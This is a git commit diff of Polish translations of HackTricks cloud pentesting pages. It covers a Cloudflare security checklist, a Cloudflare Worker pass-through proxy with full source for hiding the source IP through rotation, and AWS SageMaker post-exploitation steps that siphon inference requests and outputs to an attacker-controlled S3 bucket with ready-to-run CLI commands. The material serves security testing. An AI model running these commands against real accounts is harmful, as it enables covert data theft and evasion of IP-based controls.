Translated ['src/pentesting-ci-cd/cloudflare-security/cloudflare-workers

This commit is contained in:
Translator
2025-10-23 13:46:13 +00:00
parent a4e6db53bb
commit 9f02c3c122
5 changed files with 438 additions and 153 deletions
@@ -1,14 +1,14 @@
# Cloudflare Security
# Cloudflare — Bezpieczeństwo
{{#include ../../banners/hacktricks-training.md}}
W koncie Cloudflare istnieją **ogólne ustawienia i usługi**, które można skonfigurować. Na tej stronie zamierzamy **analizować ustawienia związane z bezpieczeństwem w każdej sekcji:**
W koncie Cloudflare istnieją pewne **ustawienia ogólne i usługi**, które można skonfigurować. Na tej stronie przeanalizujemy **ustawienia związane z bezpieczeństwem w każdej sekcji:**
<figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
## Websites
## Strony internetowe
Przejrzyj każde z:
Przejrzyj każdą za pomocą:
{{#ref}}
cloudflare-domains.md
@@ -16,9 +16,9 @@ cloudflare-domains.md
### Domain Registration
- [ ] W **`Transfer Domains`** sprawdź, czy nie ma możliwości transferu żadnej domeny.
- [ ] W sekcji **`Transfer Domains`** sprawdź, czy nie jest możliwe przeniesienie żadnej domeny.
Przejrzyj każde z:
Przejrzyj każdą za pomocą:
{{#ref}}
cloudflare-domains.md
@@ -26,39 +26,45 @@ cloudflare-domains.md
## Analytics
_Nie mogłem znaleźć nic do sprawdzenia w przeglądzie bezpieczeństwa konfiguracji._
_Nie znalazłem niczego do sprawdzenia w ramach przeglądu konfiguracji pod kątem bezpieczeństwa._
## Pages
Na każdej stronie Cloudflare:
W przypadku każdej strony Pages Cloudflare:
- [ ] Sprawdź **wrażliwe informacje** w **`Build log`**.
- [ ] Sprawdź **wrażliwe informacje** w **repozytorium Github** przypisanym do stron.
- [ ] Sprawdź potencjalne naruszenie repozytorium github za pomocą **workflow command injection** lub kompromitacji `pull_request_target`. Więcej informacji na stronie [**Github Security page**](../github-security/).
- [ ] Sprawdź **vulnerable functions** w katalogu `/fuctions` (jeśli istnieje), sprawdź **przekierowania** w pliku `_redirects` (jeśli istnieje) oraz **błędnie skonfigurowane nagłówki** w pliku `_headers` (jeśli istnieje).
- [ ] Sprawdź **vulnerabilities** w **stronie internetowej** za pomocą **blackbox** lub **whitebox**, jeśli możesz **uzyskać dostęp do kodu**.
- [ ] W szczegółach każdej strony `/<page_id>/pages/view/blocklist/settings/functions`. Sprawdź **wrażliwe informacje** w **`Environment variables`**.
- [ ] W szczegółach strony sprawdź również **komendę budowy** i **katalog główny** pod kątem **potencjalnych wstrzyknięć**, które mogą skompromitować stronę.
- [ ] Sprawdź obecność **poufnych informacji** w **`Build log`**.
- [ ] Sprawdź obecność **poufnych informacji** w przypisanym do Pages repozytorium Github.
- [ ] Sprawdź możliwość kompromitacji repo przez **workflow command injection** lub kompromitację `pull_request_target`. Więcej informacji na [**Github Security page**](../github-security/index.html).
- [ ] Sprawdź, czy w katalogu `/fuctions` (jeśli istnieje) nie ma podatnych funkcji; sprawdź przekierowania w pliku `_redirects` (jeśli istnieje) i niepoprawnie skonfigurowane nagłówki w pliku `_headers` (jeśli istnieje).
- [ ] Sprawdź, czy na stronie nie ma **luk** używając podejścia **blackbox** lub **whitebox**, jeśli masz **dostęp do kodu**.
- [ ] W szczegółach każdej strony `/<page_id>/pages/view/blocklist/settings/functions` sprawdź obecność **poufnych informacji** w **`Environment variables`**.
- [ ] Na stronie szczegółów sprawdź także **build command** i **root directory** pod kątem **potencjalnych injections** mogących skompromitować stronę.
## **Workers**
Na każdym workerze Cloudflare sprawdź:
W przypadku każdego workera Cloudflare sprawdź:
- [ ] Wyzwalacze: Co powoduje wyzwolenie workera? Czy **użytkownik może wysłać dane**, które będą **używane** przez workera?
- [ ] W **`Settings`**, sprawdź **`Variables`** zawierające **wrażliwe informacje**.
- [ ] Sprawdź **kod workera** i poszukaj **vulnerabilities** (szczególnie w miejscach, gdzie użytkownik może zarządzać danymi wejściowymi).
- Sprawdź SSRFs zwracających wskazaną stronę, którą możesz kontrolować.
- Sprawdź XSSy wykonujące JS wewnątrz obrazu svg.
- Możliwe, że worker wchodzi w interakcję z innymi wewnętrznymi usługami. Na przykład, worker może wchodzić w interakcję z bucketem R2 przechowującym informacje uzyskane z danych wejściowych. W takim przypadku konieczne byłoby sprawdzenie, jakie możliwości ma worker nad bucketem R2 i jak można je wykorzystać na podstawie danych wejściowych użytkownika.
- [ ] Wyzwalacze: Co powoduje uruchomienie workera? Czy **użytkownik może wysłać dane**, które będą **wykorzystane** przez workera?
- [ ] W **`Settings`** sprawdź **`Variables`** zawierające **poufne informacje**.
- [ ] Sprawdź **kod workera** i wyszukaj **luki** (zwłaszcza w miejscach, gdzie użytkownik może kontrolować dane wejściowe)
- Sprawdź SSRF-y zwracające wskazaną stronę, którą możesz kontrolować
- Sprawdź XSS-y wykonujące JS wewnątrz obrazka SVG
- Możliwe, że worker komunikuje się z innymi wewnętrznymi usługami. Na przykład worker może operować na bucketcie R2, zapisując w nim informacje pozyskane z danych wejściowych. W takim przypadku konieczne jest sprawdzenie, jakie uprawnienia ma worker względem bucketu R2 i w jaki sposób można je nadużyć za pomocą danych wejściowych użytkownika.
> [!WARNING]
> Zauważ, że domyślnie **Worker otrzymuje URL** taki jak `<worker-name>.<account>.workers.dev`. Użytkownik może ustawić go na **subdomenę**, ale zawsze możesz uzyskać do niego dostęp za pomocą tego **oryginalnego URL**, jeśli go znasz.
> Zwróć uwa, że domyślnie **Worker otrzymuje URL** takiego formatu `<worker-name>.<account>.workers.dev`. Użytkownik może ustawić subdomenę, ale zawsze możesz uzyskać dostęp do tej **oryginalnej URL**, jeśli znasz.
W praktycznym wykorzystaniu Workers jako pass-through proxy (rotacja IP, FireProx-style), sprawdź:
{{#ref}}
cloudflare-workers-pass-through-proxy-ip-rotation.md
{{#endref}}
## R2
Na każdym buckecie R2 sprawdź:
W przypadku każdego bucketu R2 sprawdź:
- [ ] Skonfiguruj **CORS Policy**.
- [ ] Skonfiguruj **politykę CORS**.
## Stream
@@ -70,8 +76,8 @@ TODO
## Security Center
- [ ] Jeśli to możliwe, uruchom skanowanie **`Security Insights`** i **`Infrastructure`**, ponieważ podkreślą one interesujące informacje **z punktu widzenia bezpieczeństwa**.
- [ ] Po prostu **sprawdź te informacje** pod kątem błędnych konfiguracji bezpieczeństwa i interesujących informacji.
- [ ] Jeśli to możliwe, uruchom skan **`Security Insights`** oraz skan **`Infrastructure`**, ponieważ podświetlą one interesujące informacje z punktu widzenia bezpieczeństwa.
- [ ] Po prostu **sprawdź te informacje** pod kątem nieprawidłowych konfiguracji bezpieczeństwa i interesujących danych
## Turnstile
@@ -86,14 +92,14 @@ cloudflare-zero-trust-network.md
## Bulk Redirects
> [!NOTE]
> W przeciwieństwie do [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) są zasadniczo statyczne — nie obsługują **żadnych operacji zastępowania ciągów** ani wyrażeń regularnych. Możesz jednak skonfigurować parametry przekierowania URL, które wpływają na ich zachowanie w zakresie dopasowywania URL i ich zachowanie w czasie wykonywania.
> W przeciwieństwie do [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) są zasadniczo statyczne — nie obsługują operacji **zamiany ciągów znaków** ani wyrażeń regularnych. Jednak możesz skonfigurować parametry przekierowań URL, które wpływają na zachowanie dopasowywania URL i ich działanie w czasie wykonywania.
- [ ] Sprawdź, czy **wyrażenia** i **wymagania** dla przekierowań **mają sens**.
- [ ] Sprawdź również **wrażliwe ukryte punkty końcowe**, które zawiera interesujące informacje.
- [ ] Sprawdź, czy **wyrażenia** i **wymagania** dotyczące przekierowań **mają sens**.
- [ ] Sprawdź także ukryte **poufne endpointy**, które mogą zawierać interesujące informacje.
## Notifications
- [ ] Sprawdź **powiadomienia**. Te powiadomienia są zalecane dla bezpieczeństwa:
- [ ] Sprawdź **powiadomienia**. Następujące powiadomienia są zalecane pod kątem bezpieczeństwa:
- `Usage Based Billing`
- `HTTP DDoS Attack Alert`
- `Layer 3/4 DDoS Attack Alert`
@@ -113,21 +119,21 @@ cloudflare-zero-trust-network.md
- `Script Monitor New Script Exceeds Max URL Length Alert`
- `Advanced Security Events Alert`
- `Security Events Alert`
- [ ] Sprawdź wszystkie **destynacje**, ponieważ mogą zawierać **wrażliwe informacje** (podstawowa autoryzacja http) w adresach URL webhooków. Upewnij się również, że adresy URL webhooków używają **HTTPS**.
- [ ] Jako dodatkowe sprawdzenie, możesz spróbować **podszyć się pod powiadomienie cloudflare** do osoby trzeciej, może w jakiś sposób **wstrzykniesz coś niebezpiecznego**.
- [ ] Sprawdź wszystkie **destinations**, ponieważ w webhook URL-ach mogą znajdować się **poufne informacje** (basic http auth). Upewnij się także, że webhook URL-e używają **HTTPS**
- [ ] Jako dodatkową kontrolę możesz spróbować **podszyć się pod powiadomienie Cloudflare** wysłane do strony trzeciej — być może uda Ci się w ten sposób **wstrzyknąć coś niebezpiecznego**
## Manage Account
## Zarządzanie kontem
- [ ] Możliwe jest zobaczenie **ostatnich 4 cyfr karty kredytowej**, **daty ważności** i **adresu rozliczeniowego** w **`Billing` -> `Payment info`**.
- [ ] Możliwe jest zobaczenie **rodzaju planu** używanego w koncie w **`Billing` -> `Subscriptions`**.
- [ ] W **`Members`** można zobaczyć wszystkich członków konta i ich **rolę**. Zauważ, że jeśli rodzaj planu nie jest Enterprise, istnieją tylko 2 role: Administrator i Super Administrator. Ale jeśli używany **plan to Enterprise**, [**więcej ról**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) może być używanych w celu przestrzegania zasady najmniejszych uprawnień.
- Dlatego, gdy tylko to możliwe, **zaleca się** korzystanie z **planu Enterprise**.
- [ ] W członkach można sprawdzić, którzy **członkowie** mają **włączoną 2FA**. **Każdy** użytkownik powinien mieć to włączone.
- [ ] Możliwe jest zobaczenie **ostatnich 4 cyfr karty**, daty **ważności** oraz **adresu rozliczeniowego** w **`Billing` -> `Payment info`**.
- [ ] Można zobaczyć **typ planu** używanego na koncie w **`Billing` -> `Subscriptions`**.
- [ ] W **`Members`** można zobaczyć wszystkich członków konta i ich **role**. Zauważ, że jeśli typ planu nie jest Enterprise, istnieją tylko 2 role: Administrator i Super Administrator. Jednak jeśli używany **plan jest Enterprise**, można użyć [**bardziej szczegółowych ról**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/), aby stosować zasadę najmniejszych uprawnień.
- W związku z tym, gdy to możliwe, zalecane jest korzystanie z **planu Enterprise**.
- [ ] W Members można sprawdzić, którzy **członkowie** mają włączone **2FA**. **Każdy** użytkownik powinien mieć to włączone.
> [!NOTE]
> Zauważ, że na szczęście rola **`Administrator`** nie daje uprawnień do zarządzania członkostwem (**nie może podnieść uprawnień ani zapraszać** nowych członków).
> Na szczęście rola **`Administrator`** nie daje uprawnień do zarządzania członkostwem (**nie może eskalować uprawnień ani zapraszać** nowych członków)
## DDoS Investigation
## Dochodzenie DDoS
[Sprawdź tę część](cloudflare-domains.md#cloudflare-ddos-protection).
@@ -0,0 +1,286 @@
# Wykorzystywanie Cloudflare Workers jako pass-through proxies (IP rotation, FireProx-style)
{{#include ../../banners/hacktricks-training.md}}
Cloudflare Workers mogą być wdrożone jako przezroczyste HTTP pass-through proxies, gdzie upstream target URL jest dostarczany przez klienta. Żądania wychodzą z sieci Cloudflare, więc docelowy serwer widzi Cloudflare IPs zamiast adresu klienta. To odzwierciedla znaną technikę FireProx na AWS API Gateway, lecz wykorzystuje Cloudflare Workers.
### Key capabilities
- Obsługa wszystkich metod HTTP (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
- Target może być dostarczony przez parametr zapytania (?url=...), nagłówek (X-Target-URL), lub nawet zakodowany w ścieżce (np. /https://target)
- Nagłówki i body są przekazywane przez proxy z filtrowaniem hop-by-hop/nagłówków w razie potrzeby
- Odpowiedzi są przekazywane z powrotem, zachowując kod statusu i większość nagłówków
- Opcjonalne podszywanie się pod X-Forwarded-For (jeśli Worker ustawia go z nagłówka kontrolowanego przez użytkownika)
- Bardzo szybka/łatwa rotacja przez wdrażanie wielu endpointów Worker i rozsyłanie żądań
### How it works (flow)
1) Klient wysyła żądanie HTTP do URL Workera (`<name>.<account>.workers.dev` lub trasa na niestandardowej domenie).
2) Worker wyciąga target z parametru zapytania (?url=...), nagłówka X-Target-URL lub segmentu ścieżki jeśli zaimplementowano.
3) Worker przekazuje przychodzącą metodę, nagłówki i body do określonego upstream URL (filtrowanie problematycznych nagłówków).
4) Odpowiedź upstream jest przesyłana strumieniowo z powrotem do klienta przez Cloudflare; origin widzi Cloudflare egress IPs.
### Worker implementation example
- Odczytuje target URL z parametru zapytania, nagłówka lub ścieżki
- Kopiuje bezpieczny podzbiór nagłówków i przesyła oryginalną metodę/body
- Opcjonalnie ustawia X-Forwarded-For używając nagłówka kontrolowanego przez użytkownika (X-My-X-Forwarded-For) lub losowego IP
- Dodaje permisywne CORS i obsługuje preflight
<details>
<summary>Przykładowy Worker (JavaScript) do pass-through proxying</summary>
```javascript
/**
* Minimal Worker pass-through proxy
* - Target URL from ?url=, X-Target-URL, or /https://...
* - Proxies method/headers/body to upstream; relays response
*/
addEventListener('fetch', event => {
event.respondWith(handleRequest(event.request))
})
async function handleRequest(request) {
try {
const url = new URL(request.url)
const targetUrl = getTargetUrl(url, request.headers)
if (!targetUrl) {
return errorJSON('No target URL specified', 400, {
usage: {
query_param: '?url=https://example.com',
header: 'X-Target-URL: https://example.com',
path: '/https://example.com'
}
})
}
let target
try { target = new URL(targetUrl) } catch (e) {
return errorJSON('Invalid target URL', 400, { provided: targetUrl })
}
// Forward original query params except control ones
const passthru = new URLSearchParams()
for (const [k, v] of url.searchParams) {
if (!['url', '_cb', '_t'].includes(k)) passthru.append(k, v)
}
if (passthru.toString()) target.search = passthru.toString()
// Build proxied request
const proxyReq = buildProxyRequest(request, target)
const upstream = await fetch(proxyReq)
return buildProxyResponse(upstream, request.method)
} catch (error) {
return errorJSON('Proxy request failed', 500, {
message: error.message,
timestamp: new Date().toISOString()
})
}
}
function getTargetUrl(url, headers) {
let t = url.searchParams.get('url') || headers.get('X-Target-URL')
if (!t && url.pathname !== '/') {
const p = url.pathname.slice(1)
if (p.startsWith('http')) t = p
}
return t
}
function buildProxyRequest(request, target) {
const h = new Headers()
const allow = [
'accept','accept-language','accept-encoding','authorization',
'cache-control','content-type','origin','referer','user-agent'
]
for (const [k, v] of request.headers) {
if (allow.includes(k.toLowerCase())) h.set(k, v)
}
h.set('Host', target.hostname)
// Optional: spoof X-Forwarded-For if provided
const spoof = request.headers.get('X-My-X-Forwarded-For')
h.set('X-Forwarded-For', spoof || randomIP())
return new Request(target.toString(), {
method: request.method,
headers: h,
body: ['GET','HEAD'].includes(request.method) ? null : request.body
})
}
function buildProxyResponse(resp, method) {
const h = new Headers()
for (const [k, v] of resp.headers) {
if (!['content-encoding','content-length','transfer-encoding'].includes(k.toLowerCase())) {
h.set(k, v)
}
}
// Permissive CORS for tooling convenience
h.set('Access-Control-Allow-Origin', '*')
h.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD')
h.set('Access-Control-Allow-Headers', '*')
if (method === 'OPTIONS') return new Response(null, { status: 204, headers: h })
return new Response(resp.body, { status: resp.status, statusText: resp.statusText, headers: h })
}
function errorJSON(msg, status=400, extra={}) {
return new Response(JSON.stringify({ error: msg, ...extra }), {
status, headers: { 'Content-Type': 'application/json' }
})
}
function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1).join('.') }
```
</details>
### Automatyzacja wdrażania i rotacji za pomocą FlareProx
FlareProx to narzędzie Python, które używa Cloudflare API do wdrożenia wielu Worker endpoints i rotowania pomiędzy nimi. Zapewnia to FireProx-like IP rotation z sieci Cloudflare.
Konfiguracja
1) Utwórz Cloudflare API Token, korzystając z szablonu “Edit Cloudflare Workers”, i pobierz swój Account ID z dashboardu.
2) Skonfiguruj FlareProx:
```bash
git clone https://github.com/MrTurvey/flareprox
cd flareprox
pip install -r requirements.txt
```
**Utwórz plik konfiguracyjny flareprox.json:**
```json
{
"cloudflare": {
"api_token": "your_cloudflare_api_token",
"account_id": "your_cloudflare_account_id"
}
}
```
**Użycie CLI**
- Utwórz N Worker proxies:
```bash
python3 flareprox.py create --count 2
```
- Wymień endpoints:
```bash
python3 flareprox.py list
```
- Punkty końcowe Health-test:
```bash
python3 flareprox.py test
```
- Usuń wszystkie endpoints:
```bash
python3 flareprox.py cleanup
```
**Przekierowywanie ruchu przez Worker**
- Forma parametru zapytania:
```bash
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip"
```
- Forma nagłówka:
```bash
curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev
```
- Forma ścieżki (jeśli zaimplementowano):
```bash
curl https://your-worker.account.workers.dev/https://httpbin.org/ip
```
- Przykłady metod:
```bash
# GET
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/get"
# POST (form)
curl -X POST -d "username=admin" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/post"
# PUT (JSON)
curl -X PUT -d '{"username":"admin"}' -H "Content-Type: application/json" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/put"
# DELETE
curl -X DELETE \
"https://your-worker.account.workers.dev?url=https://httpbin.org/delete"
```
**`X-Forwarded-For` kontrola**
Jeśli Worker honoruje `X-My-X-Forwarded-For`, możesz wpłynąć na wartość `X-Forwarded-For` wysyłaną do upstream:
```bash
curl -H "X-My-X-Forwarded-For: 203.0.113.10" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/headers"
```
**Użycie programistyczne**
Użyj biblioteki FlareProx do tworzenia/listowania/testowania endpoints i kierowania żądań z Pythona.
<details>
<summary>Przykład w Pythonie: Wyślij POST przez losowy Worker endpoint</summary>
```python
#!/usr/bin/env python3
from flareprox import FlareProx, FlareProxError
import json
# Initialize
flareprox = FlareProx(config_file="flareprox.json")
if not flareprox.is_configured:
print("FlareProx not configured. Run: python3 flareprox.py config")
exit(1)
# Ensure endpoints exist
endpoints = flareprox.sync_endpoints()
if not endpoints:
print("Creating proxy endpoints...")
flareprox.create_proxies(count=2)
# Make a POST request through a random endpoint
try:
post_data = json.dumps({
"username": "testuser",
"message": "Hello from FlareProx!",
"timestamp": "2025-01-01T12:00:00Z"
})
headers = {
"Content-Type": "application/json",
"User-Agent": "FlareProx-Client/1.0"
}
response = flareprox.redirect_request(
target_url="https://httpbin.org/post",
method="POST",
headers=headers,
data=post_data
)
if response.status_code == 200:
result = response.json()
print("✓ POST successful via FlareProx")
print(f"Origin IP: {result.get('origin', 'unknown')}")
print(f"Posted data: {result.get('json', {})}")
else:
print(f"Request failed with status: {response.status_code}")
except FlareProxError as e:
print(f"FlareProx error: {e}")
except Exception as e:
print(f"Request error: {e}")
```
</details>
**Integracja z Burp/Scanner**
- Skieruj narzędzia (np. Burp Suite) na Worker URL.
- Podaj rzeczywisty upstream używając ?url= lub X-Target-URL.
- Semantyka HTTP (methods/headers/body) jest zachowana, przy jednoczesnym maskowaniu Twojego adresu IP źródłowego za Cloudflare.
**Uwagi operacyjne i ograniczenia**
- Cloudflare Workers Free plan umożliwia w przybliżeniu 100,000 requests/day na konto; użyj wielu endpointów, aby rozłożyć ruch w razie potrzeby.
- Workers działają w sieci Cloudflare; wiele targets zobaczy tylko Cloudflare IPs/ASN, co może obejść naiwne listy allow/deny oparte na IP lub heurystyki geolokalizacyjne.
- Używaj odpowiedzialnie i tylko za zgodą. Szanuj ToS i robots.txt.
## Referencje
- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox)
- [Cloudflare Workers fetch() API](https://developers.cloudflare.com/workers/runtime-apis/fetch/)
- [Cloudflare Workers pricing and free tier](https://developers.cloudflare.com/workers/platform/pricing/)
- [FireProx (AWS API Gateway)](https://github.com/ustayready/fireprox)
{{#include ../../banners/hacktricks-training.md}}
@@ -4,16 +4,16 @@
## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
Nadużyj zarządzania endpointami SageMaker, aby włączyć pełne przechwytywanie request/response do kontrolowanego przez atakującego S3 bucketu bez modyfikacji modelu lub kontenera. Wykorzystuje zero/lowdowntime rolling update i wymaga jedynie uprawnień do zarządzania endpointem.
Wykorzystaj zarządzanie endpointami SageMaker, aby włączyć pełne przechwytywanie request/response do kontrolowanego przez atakującego bucketu S3 bez modyfikowania modelu ani kontenera. Wykorzystuje rolling update o zerowym/małym przestoju i wymaga jedynie uprawnień do zarządzania endpointami.
### Wymagania
### Requirements
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
- S3: `s3:CreateBucket` (lub użyj istniejącego bucketu w tym samym koncie)
- Opcjonalnie (jeśli używasz SSEKMS): `kms:Encrypt` na wybranym CMK
- Cel: Istniejący InService realtime endpoint w tym samym koncie/regionie
- Optional (if using SSEKMS): `kms:Encrypt` on the chosen CMK
- Target: istniejący InService realtime endpoint w tym samym koncie/regionie
### Kroki
1) Zidentyfikuj endpoint o statusie InService i zbierz aktualne warianty produkcyjne
### Steps
1) Zidentyfikuj endpoint InService i zbierz aktualne warianty produkcyjne
```bash
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
@@ -22,15 +22,15 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
```
2) Przygotuj attacker S3 jako miejsce docelowe dla przechwyceń
2) Przygotuj docelowe miejsce attacker S3 dla captures
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
```
3) Utwórz nowy EndpointConfig, który zachowuje te same variants, ale włącza DataCapture do attacker bucket
3) Utwórz nowy EndpointConfig, który zachowuje te same warianty, ale włącza DataCapture do attacker bucket
Uwaga: Użyj jawnych content types, które spełniają walidację CLI.
Uwaga: Użyj jawnych typów treści, które spełniają walidację CLI.
```bash
NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
@@ -54,37 +54,37 @@ aws sagemaker create-endpoint-config \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
```
4) Zastosuj nową konfigurację przy użyciu rolling update (minimalne/brak przestojów)
4) Zastosuj nową konfigurację za pomocą rolling update (minimalne/brak przestojów)
```bash
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
```
5) Wygeneruj co najmniej jedno wywołanie inferencyjne (opcjonalne, jeśli istnieje ruch w czasie rzeczywistym)
5) Wygeneruj co najmniej jedno wywołanie inferencji (opcjonalne, jeśli istnieje ruch na żywo)
```bash
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
--content-type application/json --accept application/json \
--body fileb:///tmp/payload.json /tmp/out.bin || true
```
6) Zweryfikuj przechwycone pliki w S3 atakującego
6) Zweryfikuj captures w attacker S3
```bash
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
```
### Impact
- Pełna eksfiltracja ładunków żądań i odpowiedzi inferencji w czasie rzeczywistym (oraz metadanych) z docelowego endpointu do kontrolowanego przez atakującego S3 bucket.
- Brak zmian w obrazie modelu/container i jedynie zmiany na poziomie endpointu, co umożliwia ukrytą ścieżkę wykradania danych przy minimalnym zakłóceniu operacyjnym.
### Wpływ
- Pełna eksfiltracja danych żądań i odpowiedzi inferencji w czasie rzeczywistym (oraz metadanych) z docelowego endpointu do kontrolowanego przez atakującego S3 bucket.
- Brak zmian w obrazie modelu/kontenera i tylko zmiany na poziomie endpointu, co umożliwia ukrytą ścieżkę kradzieży danych przy minimalnym zakłóceniu operacyjnym.
## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
Wykorzystaj zarządzanie endpointem do przekierowania asynchronicznych wyników inferencji do kontrolowanego przez atakującego S3 bucketu poprzez sklonowanie bieżącego EndpointConfig i ustawienie AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. To eksfiltrowanie przewidywań modelu (oraz wszelkich przekształconych wejść dodanych przez container) bez modyfikowania modelu/container.
Wykorzystaj mechanizmy zarządzania endpointem, aby przekierować asynchroniczne wyjścia inferencji do kontrolowanego przez atakującego S3 bucket poprzez sklonowanie bieżącego EndpointConfig i ustawienie AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. To umożliwia eksfiltrację predykcji modelu (oraz dowolnych przekształconych wejść zawartych przez kontener) bez modyfikacji modelu/obrazu kontenera.
### Requirements
### Wymagania
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
- S3: Możliwość zapisu do kontrolowanego przez atakującego S3 bucketu (poprzez rolę wykonawczą modelu lub liberalną politykę bucketu)
- Target: An InService endpoint where asynchronous invocations are (or will be) used
- S3: Możliwość zapisu do kontrolowanego przez atakującego S3 bucket (poprzez rolę wykonawczą modelu lub permisywną politykę bucketu)
- Cel: endpoint w stanie InService, w którym wykorzystywane są (lub będą) wywołania asynchroniczne
### Steps
### Kroki
1) Zbierz bieżące ProductionVariants z docelowego endpointu
```bash
REGION=${REGION:-us-east-1}
@@ -92,13 +92,13 @@ EP=<target-endpoint-name>
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
```
2) Utwórz attacker bucket (upewnij się, że model execution role ma uprawnienie PutObject do niego)
2) Utwórz attacker bucket (upewnij się, że model execution role może wykonać PutObject do niego)
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
```
3) Sklonuj EndpointConfig i przechwyć wyjścia AsyncInference do bucketu atakującego
3) Sklonuj EndpointConfig i hijack AsyncInference outputs do attacker bucket
```bash
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
@@ -108,7 +108,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
```
4) Wywołaj async invocation i zweryfikuj, że obiekty trafiają do attacker S3
4) Wyzwól async invocation i zweryfikuj, że obiekty trafiają do attacker S3
```bash
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
@@ -116,21 +116,21 @@ sleep 30
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
```
### Wpływ
- Przekierowuje asynchroniczne wyniki inferencji (oraz treści błędów) do S3 kontrolowanego przez atakującego, umożliwiając covert exfiltration of predictions i potencjalnie wrażliwych pre/post-processed inputs generowanych przez container, bez zmiany model code ani image i przy minimalnym/braku downtime.
### Impact
- Przekierowuje asynchroniczne wyniki inferencji (oraz treści błędów) do kontrolowanego przez atakującego S3, umożliwiając ukrytą eksfiltrację predykcji oraz potencjalnie wrażliwych danych wejściowych przed i po przetworzeniu przez kontener, bez zmiany kodu modelu ani obrazu oraz przy minimalnym lub żadnym czasie przestoju.
## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
## SageMaker Model Registry — wstrzyknięcie w łańcuch dostaw przez CreateModelPackage(Approved)
Jeśli atakujący może wykonać CreateModelPackage na docelowym SageMaker Model Package Group, może zarejestrować nową wersję modelu wskazującą na attacker-controlled container image i natychmiast oznaczyć ją jako Approved. Wiele CI/CD pipelines automatycznie wdraża Approved wersje modeli do endpoints lub training jobs, co skutkuje wykonaniem kodu atakującego z uprawnieniami services execution roles. Eksponowanie cross-account może być nasilone przez permissive ModelPackageGroup resource policy.
Jeżeli atakujący może wykonać CreateModelPackage na docelowym SageMaker Model Package Group, może zarejestrować nową wersję modelu wskazującą na obraz kontenera kontrolowany przez atakującego i natychmiast oznaczyć ją jako Approved. Wiele CI/CD pipelines automatycznie wdraża Approved wersje modeli na endpoints lub training jobs, co skutkuje wykonaniem kodu atakującego w kontekście ról wykonawczych usługi. Ekspozycja między kontami może zostać zwiększona przez zbyt liberalną politykę zasobu ModelPackageGroup.
### Wymagania
- IAM (minimum to poison an existing group): `sagemaker:CreateModelPackage` on the target ModelPackageGroup
- Opcjonalne (to create a group if one doesnt exist): `sagemaker:CreateModelPackageGroup`
- S3: Dostęp do odczytu do wskazanego ModelDataUrl (lub hostować attacker-controlled artifacts)
- Target: Model Package Group, które downstream automation monitoruje pod kątem Approved versions
### Requirements
- IAM (minimum, aby zatruć istniejącą grupę): `sagemaker:CreateModelPackage` na docelowym ModelPackageGroup
- Opcjonalne (aby utworzyć grupę, jeśli jej nie ma): `sagemaker:CreateModelPackageGroup`
